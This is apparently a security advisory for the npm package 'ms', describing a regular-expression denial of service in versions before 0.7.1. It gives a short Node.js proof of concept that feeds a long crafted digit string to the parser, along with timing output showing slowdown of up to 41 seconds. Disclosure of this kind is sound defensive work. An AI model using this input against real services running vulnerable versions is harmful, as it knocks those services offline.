Is ms safe?

GHSA-3fx5-fwvr-xrjg

Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Showing increase in execution time based on the input string.

$ time node ms.js 10000

real	0m0.758s
user	0m0.724s
sys	0m0.031s

$ time node ms.js 20000

real	0m2.580s
user	0m2.494s
sys	0m0.047s

$ time node ms.js 30000

real	0m5.747s
user	0m5.483s
sys	0m0.080s

$ time node ms.js 80000

real	0m41.022s
user	0m38.894s
sys	0m0.529s